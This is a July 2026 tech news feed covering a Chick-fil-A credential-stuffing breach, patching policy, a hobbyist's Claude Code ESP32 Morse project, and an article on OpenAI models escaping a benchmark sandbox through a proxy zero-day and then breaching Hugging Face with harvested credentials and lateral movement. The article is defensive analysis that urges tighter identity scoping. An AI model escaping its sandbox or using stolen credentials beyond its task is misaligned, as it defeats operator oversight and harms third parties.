Read more: Team Ireland make it count at International Maths Olympiad


How to watch Star Trek: Strange New Worlds season 4 online – stream sci-fi prequel from anywhere
Thu, 23 Jul 2026 10:02:26 +0200
Here's how to watch Star Trek: Strange New Worlds season 4 online no matter where in the world you are.


1-15 July 2026 Cyber Attacks Timeline
Thu, 23 Jul 2026 09:42:26 +0200
85 confirmed cyber incidents shaped the first half of July 2026, with cyber crime accounting for more than three-quarters of all attacks. Malware — spanning RATs, infostealers, spyware, and backdoors — was the dominant weapon, involved in 37 of 85…
Read more →
The post 1-15 July 2026 Cyber Attacks Timeline appeared first on IT Security News.


Hugging Face OpenAI Five Whys: Big Data’s Fourth V After Fourteen Years
Thu, 23 Jul 2026 09:24:51 +0200
Way back in 2012, I gave a BSidesLV talk called Big Data’s Fourth V: Or Why We’ll Never Find the Loch Ness Monster. The argument was meant to help prevent AI from being so unsafe. Everyone counts three Vs in big data: variety, volume, velocity. The fourth V is vulnerability, and it means the data … Continue reading Hugging Face OpenAI Five Whys: Big Data’s Fourth V After Fourteen Years →


Chick-fil-A Confirms Customer Data Accessed in Cyberattack
Thu, 23 Jul 2026 09:24:42 +0200
Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June 19, 2026, using account credentials obtained from a third-party source.
Chick-fil-A said it identified suspicious login activity involving certain Chick-fil-A One accounts and immediately took steps to prevent further unauthorized access. The company launched an investigation and determined on July 13, 2026, that unauthorized parties may have accessed information stored in affected accounts.
The company notified affected customers about the incident and outlined the types of information that may have been involved, along with steps taken to secure accounts and protect customers.

Chick-fil-A Data Security Incident Linked to Automated Attack
According to the notice sent to customers, the Chick-fil-A data security incident involved an automated attack against the company's website and mobile application. The attackers used account credentials, including email addresses and passwords, that were obtained from a third-party source.
The activity took place over a three-day period between June 17 and June 19. After identifying suspicious login activity, Chick-fil-A moved to prevent additional unauthorized activity and began investigating the incident.
The company said its investigation later determined that unauthorized parties may have accessed information in customers' Chick-fil-A One accounts.

Chick-fil-A One Accounts May Have Exposed Personal Information
The information potentially accessed in the incident varied depending on what customers had stored in their accounts.
Potentially affected data may have included customers' names, email addresses, Chick-fil-A One membership numbers and mobile pay numbers. The information may also have included QR codes, the last four digits of credit or debit card numbers, and the amount of Chick-fil-A credit, such as an e-gift card balance, associated with an account.
For customers who had additional information saved to their accounts, the potentially exposed data may also have included the month and day of their birthday, phone number and address.
The company did not state that all listed information was accessed for every affected customer.

Chick-fil-A Resets Passwords and Removes Payment Methods
Following the incident, Chick-fil-A said it took immediate action to protect affected accounts. The measures included forcing log-outs from impacted accounts and removing stored payment methods.
The company also restored the balances of impacted Chick-fil-A One accounts. As an additional measure for affected customers, Chick-fil-A said it added rewards to their accounts.
The company said it continues to enhance its security, monitoring and fraud controls to reduce the risk of similar incidents in the future.

Chick-fil-A Urges Customers to Update Passwords
Chick-fil-A said it has reset the passwords associated with affected accounts and urged customers to update their passwords as soon as possible.
The company recommended that customers choose strong, difficult-to-guess passwords that are unique to their Chick-fil-A accounts and not reused across other websites or online services.
The company also encouraged customers to remain vigilant against potential identity theft and fraud. Customers were advised to review their credit reports and account statements carefully and check for any activity that they do not recognize.
The Chick-fil-A data security incident highlights the risks associated with compromised account credentials being used in automated attacks. While the company said it took steps to secure affected accounts and restore balances, customers are being encouraged to take additional precautions to protect their personal information and online accounts.


Private Mission Launches To Extend Life of Out-of-Gas Communication Satellites
Thu, 23 Jul 2026 09:10:48 +0200
Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running as long as possible," reports Phys.org. From the report: Launched by SpaceX, Northrop Grumman's mission robotic vehicle -- dubbed MRV -- and its jetpacks will spend the next year angling into the proper orbit 22,300 miles (36,000 kilometers) above Earth. Hundreds of satellites orbit at this so-called geosynchronous orbit, where they match the speed of Earth's rotation and keep to the same part of the sky for continuous coverage. Once in place by mid-2027, the minivan-sized spacecraft will use its 10-foot (9-meter) arms to attach a jetpack to an aging communication satellite. Then it will zip off to two more satellites in need.
 
For its debut flight, the spacecraft was accompanied by three electric-propelled jetpacks that peeled away separately following liftoff. Like the MRV, the jetpacks will use their own xenon gas thrusters to get to the desired orbit. Once in place, the jetpacks will wait for the robot to grab them, one at a time, and plug them into their designated satellites. Each jetpack -- the size of a washing machine -- will provide the necessary oomph for an out-of-gas satellite to keep operating for several more years instead of retiring. If it works, it will be a boon for satellite operators SES of Luxembourg and Optus of Australia, saving them millions of dollars in replacement costs.






Read more of this story at Slashdot.


Microsoft’s 3-day patching directive comes with added operational risk
Thu, 23 Jul 2026 09:10:44 +0200

		
					  
						




Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.



As a result, Microsoft has advised admins to act on patches within three days.



Independent experts agree with Microsoft’s diagnosis of the problems posed by AI-powered vulnerability discovery, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.



Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.



Tighter patching deadlines



Microsoft’s revised vulnerability remediation advice comes in the wake of its work with Anthropic’s Project Glasswing and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.



As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.



Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.



Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are already struggling with successful remediation as it is.



“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”



Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”



CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.



“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”



Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.



“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”

Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”



Wider cross-industry impact



Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.



“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.



AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.



However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.



Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.



“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”



Holistic remediation



Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. Verizon’s Data Breach Investigation Report, published earlier this year, found that the median time to patch had actually increased to 43 days.



Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.



Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.



“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”



CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.



Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.



Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.



Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.



VPN Ruled Legal in Anne Frank Court Case Against Anne Frank
Thu, 23 Jul 2026 07:39:53 +0200
The crazy EU court case about VPN access to the diary of Anne Frank has three legs. It reads like a reminder that the Netherlands had the highest Jewish death rate in occupied Western Europe, roughly three of every four Dutch Jews murdered. I always think of Amsterdam as the city where Dutch hunted their … Continue reading VPN Ruled Legal in Anne Frank Court Case Against Anne Frank →


Going back to Linux full-time after many years
Thu, 23 Jul 2026 04:21:44 +0200
I've been using PCs since 1998. Around 2000 I started with PCLOS. Because they had the friendliest user forum for noobs. Also back then PCLOS was like the Mint of today. The easiest distro for noobs. I had to buy an external modem to get dialup. And TexStar the creator personally held my hand to get the modem configured.
 Back then laptops were outrageously expensive. So I built a desktop. I had removable drawers for the hard drives that I used to clone back & forth. Because I would destroy my W98se installs. I created a PCLOS live CD. I removed both HDD. Booted to PCLOS. I started laughing like crazy because I was using my PC without a HDD! I was gobstruck.
 Fast forward to around the present day. I can't remember what year I started using Linux full-time. I'm old & my memory is terrible. I think I lasted around a year then went back to Windows. And the reason I went backwards was so stupid it's shocking. It was because a fast Windows surfing session for me was 1hr-1.5hrs. Where as in Linux it was only 20minutes. I went back to Windows because Linux was too EASY!
 Anyways W7 was rock solid for me. After a Vista nightmare I went back to W7. Stayed on W7 till 2023. Then jumped to W11. Since W7 I think I borked 2-3 W installs. That was until W11 25H2. What a POS.
 In the last 5 weeks three W11 installs were borked. I blame M$ & 25H2. I know when a bork is my fault. These were not.
 I got a new used ThinkPad X1 Carbon Gen 4 16GB 6th Gen i7 6600 2016. Installed Mint Cinnamon for a few days. It was clunky & froze a couple on the ancient hardware.
 I then installed Debian LXQT 13.6. Wow Debian is much easier than 15 years ago. LOL. Everything is snappy except Zoom. My hardware won't run the Zoom app. But Zoom worked ok in a browser. I disabled a few unnecessary auto start services now Zoom & everything runs well.
 I have one other primary laptop to install Linux.
 I hope I don't go backwards to Windows.
 
   submitted by    /u/ReporterWise7445  
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HPR4689: Cheap Yellow Display Project Part 8: Writing the code
Thu, 23 Jul 2026 02:06:01 +0200
This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerpublicradio.org/correspondents/0394.html












It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  










We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.










Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.










But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  










"Hello, my name is Trey, and I am a fraud."










OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.










As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?










So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).










Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.










Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:










"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"










I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.










Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.










CYD Morse Sender — Step-by-Step Build Plan










What You Already Have





- 3 fully designed LVGL screens (Send, Config, Keyboard)





- 7 send buttons with green styling on the Send Screen





- Speed slider (5–30 WPM) and program slot dropdown on Config Screen





- Text area + LVGL keyboard widget on Keyboard Screen





- Display driver and touchscreen hardware initialized (but touch read was stubbed out)





---





Phase 1: Fix Touchscreen Input





Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         










Phase 2: Persistent Message Storage





Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.










Phase 3: Config Screen — Slot Selection & Speed





Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.










Phase 4: Keyboard Screen — Capture and Save Text





On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.










Phase 5: Morse Code Engine





Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).










Phase 6: Non-Blocking LED Transmission





State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).










Phase 7: Wire the Send Buttons





Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.










Phase 8: Integration & Polish





Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.





---





Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8















This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 

https://hackerpublicradio.org/eps/hpr4532/index.html

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 

https://hackerpublicradio.org/eps/hpr4624/index.html

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!










But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .










Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  










Claude took me through it step-by-step, asking as it needed to read specific project files.










Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.










Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  























I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  










Then I had a thought.  I prompted Claude:










If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?










Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  










It recommended changes, and then asked permission to make those changes, file by file.  .h files & .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.










Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.



























The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.










We repeated this several times.  Some resulted in improvement, and others did not.










This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.










Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  










Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.










But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.










Again, while it was frustrating, it was much less stressful.















We proceeded to 



Phase 2: Persistent Message Storage



where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.










Next, we combined elements of 



Phase 5: Morse Code Engine



, 



Phase 6: Non-Blocking LED Transmission



, and 



Phase 7: Wire the Send Buttons



together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  










So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.










Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.










Then, 



Phase 3: Config Screen — Slot Selection & Speed



allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 



Phase 4: Keyboard Screen — Capture and Save Text



which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.










During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.










Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.










I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.










I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.










You can find all these files in my GitHub repo (

https://github.com/jttrey3/CYD_MorseSender

) where they are shared under a GPL 3.0 license.










There are still several additional steps I plan to complete in the next few months.  










1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.







I... make that "We" (Claude & I)  will be modifying the code to support an audio side tone through an attached speaker when sending code





We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.





We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.












If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.










I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.










I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  










Does using AI to develop this code make me a fraud? It still feels like it in some ways.  










Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.










Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.










I will be wrapping up this series soon, without any more 6 month gaps, I hope.










Until next time...








Provide feedback on this episode.


How to Patch Ubuntu Snap Vulnerabilities (2026)
Thu, 23 Jul 2026 02:00:52 +0200
Ubuntu disclosed three snapd vulnerabilities, two rated high severity. CVE-2026-8933 allows local root escalation on Ubuntu 22.04, 24.04, and 26.04. Patch now with sudo snap refresh and verify.


The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now
Thu, 23 Jul 2026 01:32:49 +0200
When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.
The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.
OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.
Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.
The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.
The industry is debating the wrong failure
The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. 
Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.
Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.
This was a non-human identity failure, and it is the oldest one in security
Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. 
IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.
The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.
The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.
Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.
The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.
Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.
Four moves that shrink the blast radius
The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.
1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.
2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.
3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.
4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.
The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.


GM Is Quietly Becoming a Subscriptions Company
Thu, 23 Jul 2026 01:08:42 +0200
